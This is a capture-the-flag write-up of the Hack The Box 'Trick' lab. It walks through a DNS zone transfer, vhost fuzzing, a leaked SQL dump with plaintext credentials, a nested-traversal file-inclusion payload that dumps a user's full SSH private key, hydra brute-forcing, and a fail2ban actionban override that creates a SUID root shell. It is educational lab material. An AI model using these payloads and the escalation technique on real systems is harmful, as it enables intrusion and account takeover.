HTB Trick writeup
A technical writeup for educational use, covering only the authorized, isolated Hack The Box lab.
Summary
Section titled “Summary”Trick is a Linux Easy box entered through a zone transfer from a public BIND server and a mismatch between DNS records and nginx virtual hosts. A SQL dump on preprod-payroll.trick.htb yields application credentials. Enumerating the preprod-* hostname pattern then finds preprod-marketing.trick.htb. Its index.php?page= parameter has a local file inclusion (LFI) flaw: a filter that removes ../ once can be bypassed with nested traversal (....//). Reading michael’s SSH private key yields a user shell. From there, membership in the security group permits writing to /etc/fail2ban/action.d by unlinking and replacing an existing file. Restarting fail2ban with sudo and triggering the sshd jail’s actionban produces a root SUID shell.
Box Info
Section titled “Box Info”| Item | Value |
|---|---|
| Box | Trick |
| Platform | Hack The Box |
| OS | Debian 10 (OpenSSH 7.9p1 Debian 10+deb10u2, kernel 4.19.0-20-amd64) |
| Difficulty | Easy |
Attack Chain
Section titled “Attack Chain”operator | | nmap + DNS AXFR @10.129.227.180 vtrick.htb (nginx Coming Soon) + preprod-payroll.trick.htb | | /database/payroll.sql vpayroll app login Enemigosss:SuperGucciRainbowCake | | Host: preprod-FUZZ.trick.htb vpreprod-marketing.trick.htb | | LFI index.php?page=....// (nested traversal) v/home/michael/.ssh/id_rsa | | SSH public-key auth vmichael (groups: michael, security) | | sudo NOPASSWD: /etc/init.d/fail2ban restart | unlink+replace group-writable action.d/iptables-multiport.conf | actionban + SSH auth failures (sshd jail) vroot via SUID /tmp/pwnshell -pTarget Details
Section titled “Target Details”- Hostnames / virtual hosts:
trick.htb,preprod-payroll.trick.htb,preprod-marketing.trick.htb
/etc/hosts:
10.129.227.180 trick.htb preprod-payroll.trick.htb preprod-marketing.trick.htbnmap:
nmap -sS -A -p- --min-rate 10000 10.129.227.180PORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)25/tcp open smtp?|_smtp-commands: Couldn't establish connection on port 2553/tcp open domain ISC BIND 9.11.5-P4-5.1+deb10u7 (Debian Linux)| dns-nsid:|_ bind.version: 9.11.5-P4-5.1+deb10u7-Debian80/tcp open http nginx 1.14.2|_http-title: Coming Soon - Start Bootstrap Theme|_http-server-header: nginx/1.14.2Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelKey observations:
- An externally accessible BIND server ran on
53/tcp. Zone transfer (AXFR) and DNS enumeration came first. 80/tcpserved an nginx Coming Soon template. Virtual hosts were more promising than directory enumeration.22/tcpcould wait until credentials or a key were available.25/tcpreturned a banner but did not provide an entry point for the main path.- The OS was Debian 10, consistent with the default fail2ban and sshd jail layout seen later.
Initial Enumeration
Section titled “Initial Enumeration”The Coming Soon page was a Start Bootstrap template with an unconfigured form (API_TOKEN). It exposed only static assets. feroxbuster likewise found only css, js, and assets.
Guessing virtual hosts with Host: FUZZ.trick.htb found nothing. That did not mean there were no vhosts: compound names such as preprod-payroll, found later, were not single entries in the wordlist.
SMTP accepted a manual connection.
nc -nv 10.129.227.180 25220 debian.localdomain ESMTP Postfix (Debian/GNU)501 Syntax: EHLO hostname501 5.5.4 Syntax: VRFY address [SMTPUTF8]502 5.5.2 Error: command not recognizedIt did not help enumerate users. Investigate DNS first.
DNS Zone Transfer
Section titled “DNS Zone Transfer”dig axfr trick.htb @10.129.227.180trick.htb. 604800 IN SOA trick.htb. root.trick.htb. 5 604800 86400 2419200 604800trick.htb. 604800 IN NS trick.htb.trick.htb. 604800 IN A 127.0.0.1trick.htb. 604800 IN AAAA ::1preprod-payroll.trick.htb. 604800 IN CNAME trick.htb.preprod-payroll.trick.htb appeared in the zone. The 127.0.0.1 A record was how BIND resolved it on the target; from the attacking machine, map it to 10.129.227.180 in /etc/hosts. The SOA value root.trick.htb represented an administrator email address, not a username.
Ordinary ANY and NS queries did not return the CNAME. Skipping AXFR would miss this hostname.
Payroll Virtual Host
Section titled “Payroll Virtual Host”http://preprod-payroll.trick.htb/ returned both a 302 location: login.php redirect and dashboard HTML. A browser followed the Location header and showed the login screen. By default, curl did not follow the redirect, so it displayed the Employee List and other content without logging in. The authentication check simply failed to call exit after output; this was not a successful login.
The title was Admin | Employee's Payroll Management System. The login form posted username and password to ajax.php?action=login.
curl -s http://preprod-payroll.trick.htb/login.php | grep -iE 'form|action|username|password|ajax'<form id="login-form" ><input type="text" id="username" name="username" class="form-control"><input type="password" id="password" name="password" class="form-control">url:'ajax.php?action=login',admin:admin failed and returned 3 (the application used numeric responses for failures).
curl -i -X POST 'http://preprod-payroll.trick.htb/ajax.php?action=login' \ -d 'username=admin&password=admin'HTTP/1.1 200 OK...3feroxbuster found /database through a 301 response. Reading the directory directly returned 403 because autoindex was disabled, but files inside it could be requested directly. The generic common.txt wordlist lacked payroll, so brute forcing only extensions could easily miss it. Adding .sql to words drawn from the hostname and application name found the file.
printf '%s\n' payroll employee employees users user admin database db dump backup sql trick enemigosss > target-words.txtffuf -u http://preprod-payroll.trick.htb/database/FUZZ -w target-words.txt -e .sql,.php,.bak,.txt,.zip -acIt could also be found as follows.
$ feroxbuster -u http://preprod-payroll.trick.htb/database/ \ -w /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt \ -x sql,php,bak,txt,zip -d 0 -n
___ ___ __ __ __ __ __ ___|__ |__ |__) |__) | / ` / \ \_/ | | \ |__| |___ | \ | \ | \__, \__/ / \ | |__/ |___by Ben "epi" Risher 🤓 ver: 2.13.1───────────────────────────┬────────────────────── 🎯 Target Url │ http://preprod-payroll.trick.htb/database 🚩 In-Scope Url │ preprod-payroll.trick.htb 🚀 Threads │ 50 📖 Wordlist │ /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt 👌 Status Codes │ All Status Codes! 💥 Timeout (secs) │ 7 🦡 User-Agent │ feroxbuster/2.13.1 💉 Config File │ /etc/feroxbuster/ferox-config.toml 🔎 Extract Links │ true 💲 Extensions │ [sql, php, bak, txt, zip] 🏁 HTTP methods │ [GET] 🚫 Do Not Recurse │ true───────────────────────────┴────────────────────── 🏁 Press [ENTER] to use the Scan Management Menu™──────────────────────────────────────────────────404 GET 7l 12w 169c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter301 GET 7l 12w 185c http://preprod-payroll.trick.htb/database => http://preprod-payroll.trick.htb/database/200 GET 424l 1315w 10883c http://preprod-payroll.trick.htb/database/payroll.sqlpayroll.sql [Status: 200, Size: 10883]curl -s http://preprod-payroll.trick.htb/database/payroll.sqlThe users table contained only one entry, with a plaintext password.
INSERT INTO `users` (`id`, `doctor_id`, `name`, `address`, `contact`, `username`, `password`, `type`) VALUES(1, 0, 'Administrator', '', '', 'Enemigosss', 'SuperGucciRainbowCake', 1);curl -i -X POST 'http://preprod-payroll.trick.htb/ajax.php?action=login' \ -d 'username=Enemigosss&password=SuperGucciRainbowCake'HTTP/1.1 200 OK...11 meant the login succeeded; the account in the dump was active. SSH attempts using the same password with Enemigosss, enemigosss, and admin returned Permission denied. Payroll had served its purpose as a source of credentials; the next step was to reuse the preprod- hostname prefix to find another vhost.
Marketing Virtual Host and LFI
Section titled “Marketing Virtual Host and LFI”A hostname absent from the zone transfer could still exist in an nginx server_name. The initial Host: FUZZ.trick.htb search missed compound names, so keep the observed prefix fixed.
ffuf -u http://10.129.227.180/ \ -H 'Host: preprod-FUZZ.trick.htb' \ -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt \ -fs 5480 -acmarketing [Status: 200, Size: 9660, Words: 3007, Lines: 179]5480 was the size of the default Coming Soon page. preprod-marketing.trick.htb served TemplateMo 549 Business Oriented, whose menu passed filenames to the page parameter.
<a class="nav-link tm-nav-link" href="index.php?page=services.html">Services</a><a class="nav-link tm-nav-link" href="index.php?page=about.html">About</a><a class="nav-link tm-nav-link" href="index.php?page=contact.html">Contact</a>contact.html could be fetched directly with a 200 response. The routing was in the PHP include.
curl -s -o /dev/null -w '%{http_code} %{size_download}\n' \ 'http://preprod-marketing.trick.htb/index.php?page=about.html'curl -s -o /dev/null -w '%{http_code} %{size_download}\n' \ 'http://preprod-marketing.trick.htb/index.php?page=doesnotexist.html'200 13272200 0A nonexistent file returning 200 with 0 bytes looked like a failed include rather than an authentication barrier. Plain traversal, an absolute path, and a PHP wrapper all returned empty responses.
curl -s 'http://preprod-marketing.trick.htb/index.php?page=../../../../etc/passwd'curl -s 'http://preprod-marketing.trick.htb/index.php?page=/etc/passwd'curl -s 'http://preprod-marketing.trick.htb/index.php?page=php://filter/convert.base64-encode/resource=index.php'Nested traversal worked.
curl -s 'http://preprod-marketing.trick.htb/index.php?page=....//....//....//....//etc/passwd'root:x:0:0:root:/root:/bin/bash...michael:x:1001:1001::/home/michael:/bin/bashWith a nonrecursive replacement such as str_replace('../', '', $page), removing the inner ../ from ....// leaves ../. The input ../../../../etc/passwd is stripped to the relative path etc/passwd. This is what PortSwigger calls nested traversal sequences.
Read the SSH key from OS user michael’s home directory.
curl -s 'http://preprod-marketing.trick.htb/index.php?page=....//....//....//....//home/michael/.ssh/id_rsa'-----BEGIN OPENSSH PRIVATE KEY-----b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcnNhAAAAAwEAAQAAAQEAwI9YLFRKT6JFTSqPt2/+7mgg5HpSwzHZwu95Nqh1Gu4+9P+ohLtzc4jtky6wYGzlxKHg/Q5ehozs9TgNWPVKh+j92WdCNPvdzaQqYKxw4Fwd3K7F4JsnZaJk2GYQ2re/gTrNElMAqURSCVydx/UvGCNT9dwQ4zna4sxIZF4HpwRt1T74wioqIX3EAYCCZcf+4gAYBhUQTYeJlYpDVfbbRH2yD73x7NcICp5iIYrdS455nARJtPHYkO9eobmyamyNDgAia/Ukn75SroKGUMdiJHnd+m1jW5mGotQRxkATWMY5qFOiKglnws/jgdxpDV9K3iDTPWXFwtK41kC+t4a8sQAAA8hzFJk2cxSZNgAAAAdzc2gtcnNhAAABAQDAj1gsVEpPokVNKo+3b/7uaCDkelLDMdnC73k2qHUa7j70/6iEu3NziO2TLrBgbOXEoeD9Dl6GjOz1OA1Y9UqH6P3ZZ0I0+93NpCpgrHDgXB3crsXgmydlomTYZhDat7+BOs0SUwCpRFIJXJ3H9S8YI1P13BDjOdrizEhkXgenBG3VPvjCKiohfcQBgIJlx/7iABgGFRBNh4mVikNV9ttEfbIPvfHs1wgKnmIhit1LjnmcBEm08diQ716hubJqbI0OACJr9SSfvlKugoZQx2Iked36bWNbmYai1BHGQBNYxjmoU6IqCWfCz+OB3GkNX0reINM9ZcXC0rjWQL63hryxAAAAAwEAAQAAAQASAVVNT9Ri/dldDc3CaUZ9JF9u/cEfX1ntUFcVNUs96WkZn44yWxTAiN0uFf+IBKa3bCuNffp4ulSt2T/mQYlmi/KwkWcvbR2gTOlpgLZNRE/GgtEd32QfrL+hPGn3CZdujgD+5aP6L9k75t0aBWMR7ru7EYjCtnYxHsjmGaS9iRLpo79lwmIDHpu2fSdVpphAmsaYtVFPSwf01VlEZvIEWAEY6qv7r455GeU+38O714987fRe4+jcfSpCTFB0fQkNArHCKiHRjYFCWVCBWuYkVlGYXLVlUcYVezS+ouM0fHbE5GMyJf6+/8P06MbAdZ1+5nWRmdtLOFKF1rpHh43BAAAAgQDJ6xWCdmx5DGsHmkhG1VPH+7+Oono2E7cgBv7GIqpdxRsozETjqzDlMYGnhk9oCG8v8oiXUVlM0e4jUOmnqaCvdDTS3AZ4FVonhCl5DFVPEz4UdlKgHS0LZoJuz4yq2YEt5DcSixuS+Nr3aFUTl3SxOxD7T4tKXAfvjlQQh81veQAAAIEA6UE9xt6D4YXwFmjKo+5KQpasJquMVrLcxKyAlNpLNxYN8LzGS0sTAuNHUSgX/tcNxg1yYHeHTu868/LUTe8l3Sb268YaOnxEbmkPQbBscDerqEAPOvwHD9rrgnIn16n3kMFSFaU2bCkzaLGQ+hoD5QJXeVMt6a/5ztUWQZCJXkcAAACBANNWO6MfEDxYr9DPJkCbANS5fRVNVi0Lx+BSFyEKs2ThJqvlhnxBs43QxBX0j4BkqFUfuJ/YzySvfVNPtSb0XNjsj51hLkyTIOBEVxNjDcPWOj5470u21X8qx2F3M4+YGGH+mka7P+VVfvJDZa67XNHzrxi+IJhaN0D5bVMdjjFHAAAADW1pY2hhZWxAdHJpY2sBAgMEBQ==-----END OPENSSH PRIVATE KEY-----The public key comment was michael@trick.
User Access
Section titled “User Access”Save the key to a file, restrict its permissions, and connect over SSH.
chmod 600 michael.keyssh -i ./michael.key michael@trick.htbLinux trick 4.19.0-20-amd64 #1 SMP Debian 4.19.235-1 (2022-03-17) x86_64michael@trick:~$ hostnametrickmichael@trick:~$ iduid=1001(michael) gid=1001(michael) groups=1001(michael),1002(security)The user shell was michael. The value of user.txt was not recorded. The next clue was membership in the supplementary security group.
Privilege Escalation
Section titled “Privilege Escalation”sudo -lMatching Defaults entries for michael on trick: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User michael may run the following commands on trick: (root) NOPASSWD: /etc/init.d/fail2ban restartfind / -group security -perm -g=w -printf '%M %u %g %p\n' 2>/dev/nulldrwxrwx--- root security /etc/fail2ban/action.dThe fail2ban server ran as root. A sudo restart caused root to reload the action definitions. However, write permission on the action.d directory differed from write permission on the .conf files inside it.
drwxrwx--- 2 root security action.d-rw-r--r-- 1 root root action.d/*.confThe existing files were mode 644, so they could not be overwritten in place. Without a sticky bit, directory write permission still allowed unlinking files owned by someone else.
The enabled jail was Debian’s default sshd jail, and its default banaction was iptables-multiport.
cat /etc/fail2ban/jail.d/defaults-debian.conf[sshd]enabled = truebanaction = iptables-multiportaction = %(action_)sbantime = 10sfindtime = 10smaxretry = 5The short findtime, maxretry, and bantime values were intended to trigger actionban quickly through failed SSH authentications. Merely adding a command to actionstart and restarting did not run it. Fail2Ban 0.10 can delay start until the first ban, and if iptables -N fails because a chain already exists, subsequent lines are not reached.
In this attempt, relying only on the runtime merge from .local did not trigger actionban. Replace the referenced action file itself.
On the target, copy iptables-multiport.conf and replace only actionban (a state-changing step).
#actionban = <iptables> -I f2b-<name> 1 -s <ip> -j <blocktype>actionban = cp /bin/bash /tmp/pwnshell; chmod 4777 /tmp/pwnshellrm /etc/fail2ban/action.d/iptables-multiport.confcp /tmp/iptables-multiport.conf /etc/fail2ban/action.d/iptables-multiport.confsudo /etc/init.d/fail2ban restart[ ok ] Restarting fail2ban (via systemctl): fail2ban.service.Because of ignorself, failed logins from localhost inside the box did not cause a ban. From the attacking VPN, send at least five failed password attempts within ten seconds. Sequential ssh attempts exceeded the window while waiting for a second password prompt. Parallel failures, such as those sent by hydra, met the condition.
hydra -l nosuchuser -P /usr/share/wordlists/rockyou.txt -f ssh://trick.htb-rwsrwxrwx 1 root root 1168776 Aug 22 18:54 /tmp/pwnshell/tmp/pwnshell -pcd /rootls -lacat root.txtpwnshell-5.0# cat root.txt[REDACTED]/tmp/pwnshell -p preserved the effective root UID of the SUID bash. Alongside root.txt, /root contained f2b.sh, fail2ban/, and set_dns.sh. Their contents were not recorded.
Rabbit Holes and Dead Ends
Section titled “Rabbit Holes and Dead Ends”- The main
trick.htbComing Soon page and deep directory brute forcing revealed only the static template. Host: FUZZ.trick.htbandHost: FUZZ.preprod-payroll.trick.htbcould not find compoundpreprod-*names.- SMTP
VRFYandEXPNreturned no useful information. - Payroll
admin:adminfailed; the response3indicated failure. - Reusing
Enemigosss:SuperGucciRainbowCakeover SSH failed because password authentication was rejected. - Payroll’s
index.php?page=used extensionless page names and showed weaker signs of LFI than the marketing page. Authentication and the SQL dump yielded more information. - Brute forcing
/database/withcommon.txtalone missed the application-specific namepayroll.sql. - Reading too much into the marketing page’s appearance or About text was unproductive; the input point was
page=. - Adding an unreferenced new action under
action.d, copying the entire.confto.local, or only changingactionstartand restarting did not work. The referencediptables-multiportactionbanand enough SSH failures inside the time window were required. - The fail2ban log
/var/log/fail2ban.logwas readable only by root, not bymichael.
Cleanup Notes
Section titled “Cleanup Notes”| Item | Original state | Changed state | How to restore | Verification |
|---|---|---|---|---|
/etc/fail2ban/action.d/iptables-multiport.conf | root:root mode 644; actionban used iptables | Replaced after unlinking with a modified file owned by michael (creates SUID bash) | Restore the backup, reset ownership to root:root, then run sudo /etc/init.d/fail2ban restart | Not verified |
/etc/fail2ban/action.d/iptables-multiport.local | Absent | Created with actionban = touch /tmp/pwn or similar | Delete the file | Not verified |
/tmp/pwnshell | Absent | Bash copy with -rwsrwxrwx root | rm /tmp/pwnshell | Not verified |
/tmp/iptables-multiport.conf (working copy on target) | Absent | Modified configuration | Delete it | Not verified |
| Attacker IP ban by the sshd jail | Absent | Temporary ban with bantime 10s | Wait for the ban to expire | Not recorded |
Payroll PHPSESSID | Absent | Successful login session | Let it expire | Not recorded |
Acquired michael SSH private key (attacking machine) | Absent | Saved as a key file | Delete it after finishing | Not verified |
After restoring the fail2ban configuration, check that the sshd jail has returned to normal iptables banning. The verification result was not recorded.
Credentials and Artifacts
Section titled “Credentials and Artifacts”| Item | Source | Belongs to | First use | Result |
|---|---|---|---|---|
Enemigosss / SuperGucciRainbowCake | users in http://preprod-payroll.trick.htb/database/payroll.sql | Payroll app Administrator | ajax.php?action=login | Response 1; rejected by SSH |
michael SSH private key | Marketing LFI ....//home/michael/.ssh/id_rsa | OS user michael | ssh -i | User shell |
michael public key comment michael@trick | id_rsa.pub / authorized_keys through the same LFI | michael | User identification | Matches /etc/passwd |
Flags:
- user.txt: Not recorded (
michaelshell confirmed) - root.txt:
/root/root.txt=[REDACTED]
Artifacts:
/database/payroll.sql(phpMyAdmin dump, plaintext password)/home/michael/.ssh/id_rsa/tmp/pwnshell(root SUID bash; cleanup required)
Required Knowledge
Section titled “Required Knowledge”- The difference between zone transfer (AXFR) from an externally exposed BIND server and HTTP Host fuzzing
- nginx virtual hosts and the DNS zone as separate inventories
- Finding files under a 403 directory with target-specific words and extensions
- The Sourcecodester-style PHP
ajax.php?action=loginand a plaintext dump - Recognizing
index.php?page=filenameas an include - Bypassing nonrecursive
../removal with nested traversal (....//) - Moving from LFI to
~/.ssh/id_rsa - Directory write permission without a sticky bit allows unlinking, regardless of a file’s mode 644
- How a fail2ban jail references
banaction, thenaction.d/*.conf, thenactionban - Trigger conditions for
actionstart(startup) andactionban(log threshold), plusfindtime,maxretry, andignorself - Preserving effective root privileges with
-pin SUID bash
Final Thought
Section titled “Final Thought”The entry point was the open port 53, not port 80. Even when Host header brute forcing finds nothing, BIND may have the answer. Conversely, AXFR is not a complete inventory of nginx vhosts. Fixing the prefix from preprod-payroll and enumerating again found preprod-marketing, which was absent from the zone.
Despite sharing a parameter name, page=home and page=about.html suggest different implementations. The latter passes the name of a real file with an extension, making it the stronger LFI target. Comparing the empty result from ../../ with the success of ....// shows that the filter removes the forbidden string only once.
Privilege escalation was a matter of replacing a named file read by a root process, with attention to when each hook ran. Although .local was the conventional overlay, when it did not work, unlinking and replacing the original file took over the same name. Even with sudo access limited to restart, the sshd jail’s actionban and a short findtime allowed an external event to run code as root.

